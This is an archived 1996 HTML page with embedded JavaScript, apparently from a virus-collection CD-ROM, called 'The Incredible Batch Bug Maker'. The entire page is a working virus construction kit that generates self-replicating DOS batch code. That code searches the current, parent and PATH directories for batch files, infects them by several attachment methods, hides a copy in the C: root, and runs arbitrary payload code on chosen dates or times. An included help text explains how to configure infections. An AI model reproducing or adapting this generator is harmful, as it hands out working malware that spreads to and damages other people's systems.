home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / BVUPDAT2.ZIP / IBBM.ZIP / IBBMFIXD.ZIP / IBBMFIXD.TXT
Text File  |  1997-01-12  |  12KB  |  374 lines

  1. <html><head><title>BBM</title>
  2. <script>
  3. //<plaintext>
  4.  
  5. //
  6. //  The Incredible Batch Bug Maker
  7. //  For Netscape 2 w/ JavaScript
  8. //  DOS 6 compatible output only!
  9. //
  10.  
  11. // define our vars...
  12. // (so netscape won't freak)
  13. var method=0;
  14. var search=0;
  15. var name="";
  16. var key="";
  17. var infects="";
  18. var seeks="";
  19. var findhost=false;
  20. var usecopy=false;
  21. var hidecopy=false;
  22. var echoblank=false;
  23. var codewindow=false;
  24. var comment="";
  25. var tmatch1="";
  26. var tmatch2="";
  27. var dmatch1="";
  28. var dmatch2="";
  29. var addcode="";
  30.  
  31. // default variables...
  32. function Reset(vars) {
  33.  findhost=false;
  34.  usecopy=true;
  35.  hidecopy=false;
  36.  echoblank=true;
  37.  codewindow=true;
  38.  with (document) {
  39.   vars.Method.options[0].selected=true;
  40.   vars.Search.options[0].selected=true;
  41.   vars.Name.value = "gobbm";
  42.   vars.Key.value = "BuG!";
  43.   vars.Infects.value = 1;
  44.   vars.Seeks.value = 20;
  45.   vars.FindHost.checked=findhost;
  46.   vars.UseCopy.checked=usecopy;
  47.   vars.HideCopy.checked=hidecopy;
  48.   vars.EchoBlank.checked=echoblank;
  49.   vars.CodeWindow.checked=codewindow;
  50.   vars.Comment.value="";
  51.   vars.AddCode.value="";
  52.   vars.TMatch1.value="";
  53.   vars.TMatch2.value="";
  54.   vars.DMatch1.value="";
  55.   vars.DMatch2.value="";
  56.  }
  57. }
  58.  
  59. function WinOpen(something) {
  60.  msg=open(something,"DisplayWindow",
  61.   "toolbar=no,directories=no,menubar=no,scrollbars=yes,resizable=yes");
  62.  codewindow=true;
  63.  return msg;
  64. }
  65. function write(stuff) {
  66.  if (codewindow) msg.document.writeln(stuff);
  67.   else document.writeln(stuff);
  68. }
  69. function wr(stuff) {
  70.  if (codewindow) msg.document.write(stuff);
  71.   else document.write(stuff);
  72. }
  73.  
  74. function MakeBug(vars) {
  75.  method=0;
  76.  search=0;
  77.  for (var i=0; i<4; i++) if (vars.Method.options[i].selected) method=i;
  78.  for (var i=0; i<4; i++) if (vars.Search.options[i].selected) search=i;
  79.  name=vars.Name.value;
  80.  key=vars.Key.value;
  81.  comment=vars.Comment.value;
  82.  infects=vars.Infects.value;
  83.  seeks=vars.Seeks.value;
  84.  findhost=vars.FindHost.checked;
  85.  usecopy=vars.UseCopy.checked;
  86.  hidecopy=vars.HideCopy.checked;
  87.  echoblank=vars.EchoBlank.checked;
  88.  codewindow=vars.CodeWindow.checked;
  89.  comment=vars.Comment.value;
  90.  tmatch1=vars.TMatch1.value;
  91.  tmatch2=vars.TMatch2.value;
  92.  dmatch1=vars.DMatch1.value;
  93.  dmatch2=vars.DMatch2.value;
  94.  addcode=vars.AddCode.value;
  95.  if (codewindow) var msg=WinOpen("");
  96.  if (method==0 && findhost)
  97.    write("<h3>Error - Appending types cannot find host</h3>");
  98.  else if (method==0 && !usecopy)
  99.    write("<h3>Error - Appending types must use copy</h3>");
  100.  else if (key=="" || name=="")
  101.    write("<h3>Error - Must have Key and SubString entries</h3>");
  102.  else if (name.indexOf(key)>=0)
  103.    write("<h3>Error - Key cannot be in SubString</h3>");
  104.  else {
  105.   wr("<pre>");
  106.   GenerateCode();
  107.   wr("</pre><hr>");
  108.  }
  109.  if (codewindow) {
  110.   wr("<form>");
  111.   wr("<input type='button' value='Close' onclick='close()'>");
  112.   wr("</form>");
  113.  }
  114. }
  115. function GenerateCode() {
  116.  var type=method+1;
  117.  var mask="*.bat";
  118.  var dopath=0;
  119.  if (search==1) mask="*.bat ..\\*.bat";
  120.  if (search==2) mask="..\\*.bat *.bat";
  121.  if (search==3) {
  122.   mask=". .. %path%";
  123.   dopath=1;
  124.  }
  125.  var s_infects="";
  126.  if (parseInt(infects)>0)
  127.   for (var i=0; i<parseInt(infects); i++)
  128.    s_infects=s_infects+"1";
  129.  var s_seeks="";
  130.  if (parseInt(seeks)>0)
  131.   for (var i=0; i<parseInt(seeks); i++)
  132.    s_seeks=s_seeks+"1";
  133.  var v1="%"+key+"%";
  134.  if (usecopy) v1="c:\\_" + key;
  135.  var v8="end";
  136.  if (type==2) v8="xt";
  137.  if (type==3 || type==4) {
  138.   write("@if '%_"+name+"%==' goto _"+name);
  139.   write("::**** HOST ****");
  140.   if (echoblank) write("");
  141.   write("@if not '%_"+name+"%==' goto "+key+"end");
  142.   write(":_"+name+" "+key);
  143.  }
  144.  if (type==1) {
  145.   write("::**** HOST ****");
  146.   if (echoblank) write("");
  147.  }
  148.  if(comment!="") write("::"+key+" "+comment);
  149.  write("@echo off%_"+key+"%");
  150.  write("if '%1=='"+key+" goto "+key+"%2");
  151.  write("set "+key+"=%0.bat");
  152.  write("if not exist %"+key+"% set "+key+"=%0");
  153.  write("if '%"+key+"%==' set "+key+"=autoexec.bat");
  154.  if (type==3||type==4) write("set !"+key+"=%1 %2 %3 %4 %5 %6 %7 %8 %9");
  155.  if (type==4) {
  156.   write("call %"+key+"% "+key+" rh");
  157.   write("set _"+name+"=>nul."+key);
  158.   write("set !"+key+"=");
  159.  }
  160.  if (usecopy) write("if exist c:\\_"+key+".bat goto "+key+"g");
  161.  if (findhost) {
  162.   write("if exist %"+key+"% goto "+key+"fe");
  163.   write("call %"+key+"% "+key+" h %path%");
  164.   write("if exist %"+key+"% goto "+key+"fe");
  165.   write("goto e"+key);
  166.   write(":"+key+"h");
  167.   write("shift%_"+key+"%");
  168.   write("if '%2==' goto "+key+v8);
  169.   write("if exist %2\\%"+key+" set "+key+"=%2\\%"+key+"%");
  170.   write("if exist %2%"+key+" set "+key+"=%2%"+key+"%");
  171.   write("if exist %2\\%"+key+".bat set "+key+"=%2\\%"+key+"%.bat");
  172.   write("if exist %2%"+key+".bat set "+key+"=%2%"+key+"%.bat");
  173.   write("if not exist %"+key+"% goto "+key+"h");
  174.   write("goto "+key+v8);
  175.   write(":"+key+"fe");
  176.  }
  177.  if (usecopy) {
  178.   if(!findhost) write("if not exist %"+key+"% goto e"+key);
  179.   write("find ""+key+""<%"+key+"%>c:\\_"+key+".bat");
  180.   if (hidecopy) write("attrib c:\\_"+key+".bat +h");
  181.   write(":"+key+"g");
  182.  }
  183.  if (!usecopy&&!findhost) write("if not exist %"+key+"% goto e"+key);
  184.  var v3="/e:5000 /c";
  185.  if (s_seeks=="" && s_infects=="") v3="/c";
  186.  if (s_seeks=="" && s_infects=="1") v3="/c";
  187.  if (dopath) write("command "+v3+" "+v1+" "+key+" vir "+mask);
  188.  if (!dopath) write("command "+v3+" "+v1+" "+key+" vir");
  189.  write(":e"+key);
  190.  var activate=false;
  191.  if (dmatch1!="") {
  192.   write("echo.|date|find ""+dmatch1+"">nul."+key);
  193.   write("if errorlevel 1 goto na"+key);
  194.   activate=true;
  195.  }
  196.  if (dmatch2!="") {
  197.   write("echo.|date|find ""+dmatch2+"">nul."+key);
  198.   write("if errorlevel 1 goto na"+key);
  199.   activate=true;
  200.  }
  201.  if (tmatch1!="") {
  202.   write("echo.|time|find ""+tmatch1+"">nul."+key);
  203.   write("if errorlevel 1 goto na"+key);
  204.   activate=true;
  205.  }
  206.  if (tmatch2!="") {
  207.   write("echo.|time|find ""+tmatch2+"">nul."+key);
  208.   write("if errorlevel 1 goto na"+key);
  209.   activate=true;
  210.  }
  211.  if (addcode.length>0) {
  212.   var fromchar=0;
  213.   var newln=0;
  214.   while(fromchar<addcode.length && newln>=0) {
  215.    var newln=addcode.indexOf("\r",fromchar)
  216.    if (newln>0) {
  217.     var subline=addcode.substring(fromchar,newln);
  218.     var sublow=subline.toLowerCase();
  219.     if (sublow.substring(0,1)==":" ||
  220.       sublow.indexOf("goto ")>=0)
  221.         subline=subline+" %_"+key+"%";
  222.     else subline=subline+"%_"+key+"%";
  223.     write(subline);
  224.     fromchar=newln+2;
  225.    }
  226.   }
  227.  } else if (activate) write ("::"+key+" *** activate code ***");
  228.  if (activate) write(":na"+key);
  229.  if (type==3) {
  230.   write("call %"+key+"% "+key+" rh");
  231.   write("set _"+name+"=>nul."+key);
  232.   write("set !"+key+"=");
  233.  }
  234.  write("set "+key+"=");
  235.  if ((!usecopy||findhost) && type==2) write("if exist \\!"+key+".bat del \\!"+key+".bat");
  236.  write("goto "+key+"end");
  237.  if ((!usecopy||findhost) && type==2) {
  238.   write(":"+key+"xt");
  239.   write("echo.>\\!"+key+".bat");
  240.   write("\\!"+key+".bat");
  241.  }
  242.  if (type==3||type==4) {
  243.   write(":"+key+"rh");
  244.   write("set _"+name+"=x%_"+key+"%");
  245.   write("%"+key+"% %!"+key+"%");
  246.  }
  247.  write(":"+key+"vir");
  248.  if (!dopath) {
  249.   write("for %%a in ("+mask+") do call "+v1+" "+key+" i %%a");
  250.   write("exit "+key);
  251.  } else {
  252.   write("shift%_"+key+"%");
  253.   write("if '%2==' exit %"+key+"%");
  254.   write("for %%a in (%2\\*.bat %2*.bat) do call "+v1+" "+key+" i %%a");
  255.   write("goto "+key+"vir");
  256.  }
  257.  write(":"+key+"i");
  258.  write("find ""+key+""<%3>nul");
  259.  var v2="ERR";
  260.  if (s_seeks=="") v2=key+"end";
  261.  if (type==2 && !usecopy) v2=key+"xt";
  262.  if (s_seeks!="") v2=key+"j";
  263.  write("if not errorlevel 1 goto "+v2);
  264.  var v2="type c:\\_"+key+".bat";
  265.  if (!usecopy) var v2="find ""+key+""<%"+key+"%";
  266.  if (type==1) {
  267.   write("type %3>"+key+"$");
  268.   if (echoblank) write("echo.>>"+key+"$");
  269.   write(v2+">>"+key+"$");
  270.  }
  271.  if (type==2) {
  272.   write(v2+">"+key+"$");
  273.   write("type %3>>"+key+"$");
  274.  }
  275.  if (type==3 || type==4) {
  276.   write("echo @if '%%_"+name+"%%==' goto _"+name+">"+key+"$");
  277.   write("type %3>>"+key+"$");
  278.   if (echoblank) write("echo.>>"+key+"$");
  279.   write(v2+">>"+key+"$");
  280.  }
  281.  write("move "+key+"$ %3>nul");
  282.  if (s_infects!="") {
  283.   if (s_infects=="1") write("exit "+key);
  284.   else {
  285.    write("set "+key+"#=%"+key+"#%1");
  286.    write("if %"+key+"#%=="+s_infects+" exit");
  287.   }
  288.  }
  289.  if (s_seeks!="") {
  290.   write(":"+key+"j");
  291.   write("set "+key+"!=%"+key+"!%1");
  292.   write("if %"+key+"!%=="+s_seeks+" exit");
  293.  }
  294.  if ((s_infects!="1" || s_seeks!="") && type==2 && usecopy==false)
  295.    write("goto "+key+"xt");
  296.  write(":"+key+"end");
  297.  if (type==2) write("::**** HOST ****");
  298. }
  299.  
  300. function Info() {
  301.  WinOpen("");
  302.  wr("<h1>The Incredible Batch Bug Maker</h1>");
  303.  wr("Makes DOS 6 compatible replicating batch files<br>");
  304.  wr("Produced March 27, 1996<br><br>");
  305.  wr("The Key String must be unique, the generated bug will not ");
  306.  wr("touch any batch containing this string. The Sub String is ");
  307.  wr("used in compound methods, it should also be unique. Infects ");
  308.  wr("per run is how many batches will be assimilated with each run ");
  309.  wr("of a bugged batch, if omitted all available batches are game. ");
  310.  wr("Max seeks is the maximum number of infected files skipped ");
  311.  wr("before giving up, if empty or NaN no limit checks are made. ");
  312.  wr("The Add Code box is for adding batch code that will run when ");
  313.  wr("all time and date conditions are satisfied, or every time if ");
  314.  wr("no conditions are entered. The condition strings simply match ");
  315.  wr("the output from the date and time commands. Three methods of ");
  316.  wr("attachment are available: Appending simply tacks on the code, ");
  317.  wr("Inserting places the bug before the host, and Compound which ");
  318.  wr("uses a single inserted line then appends the rest. Compound ");
  319.  wr("Immediate runs the bug first, Compound Delayed runs the bug when ");
  320.  wr("the host completes. Search specifies the directories and order ");
  321.  wr("for seeking batch files (watch out for path!). Find Host tells ");
  322.  wr("it to generate code for seeking out the host batch even if run ");
  323.  wr("from the path (not available on appenders), Use Copy keeps a ");
  324.  wr("copy of the bug code in the root of C: (must be checked for ");
  325.  wr("appenders), Hidden hides the root copy, Echo Blank places an ");
  326.  wr("empty line between the host and any appended code to prevent ");
  327.  wr("errors with batches that have no final return. Send to Window ");
  328.  wr("opens a new browser window for the code to avoid trashing the ");
  329.  wr("form. To copy code to clipboard uncheck it, good for one shot. ");
  330.  wr("Resizing or reloading the form resets the data. Enjoy!");
  331.  wr("<form>");
  332.  wr("<input type='button' value='Close' onclick='close()'>");
  333.  wr("</form>");
  334. }
  335. </script>
  336. </head>
  337.  
  338. <body onload="Reset()">
  339. <center><h1>The Incredible Batch Bug Maker</h1>
  340. <form name="vars">
  341. Key String: <input type="text" name="Key" size=7 maxlength=7>
  342.  ╖ Comment: <input type="text" name="Comment" size=30><br>
  343. Sub String: <input type="text" name="Name" size=7 maxlength=7>
  344.  ╖ Infects per run: <input type="text" name="Infects" size=2 maxlength=2>
  345.  ╖ Max seeks per run: <input type="text" name="Seeks" size=2 maxlength=2><br>
  346. Method: <select name="Method">
  347. <option>Appending
  348. <option>Inserting
  349. <option>Compound Immediate
  350. <option>Compound Delayed
  351. </select>
  352.  ╖ Search: <select name="Search">
  353. <option>Current
  354. <option>Current Parent
  355. <option>Parent Current
  356. <option>Current Parent Path
  357. </select><br>
  358. Add Code: <textarea name="AddCode" rows=3 cols=45></textarea><br>
  359. Time Match: <input type="text" name="TMatch1" size=7> <input type="text" name="TMatch2" size=7>
  360.  ╖ Date Match: <input type="text" name="DMatch1" size=7> <input type="text" name="DMatch2" size=7><br>
  361. <br><input type="checkbox" name="FindHost"> Find Host Batch
  362.  ╖ <input type="checkbox" name="UseCopy"> Use Root Copy
  363.  ╖ <input type="checkbox" name="HideCopy"> Hide Copy<br>
  364. <input type="checkbox" name="EchoBlank"> Add blank line for safety
  365.  ╖ <input type="checkbox" name="CodeWindow"> Send output to window<br>
  366. <br>
  367. <input type="button" value="Make the Batch Bug" onclick="MakeBug(this.form)">
  368. <input type="reset" value="Reset" onclick="Reset()">
  369. <input type="button" value="Info" onclick="Info()">
  370. </form></center>
  371. </body></html>
  372.  
  373. g
  374.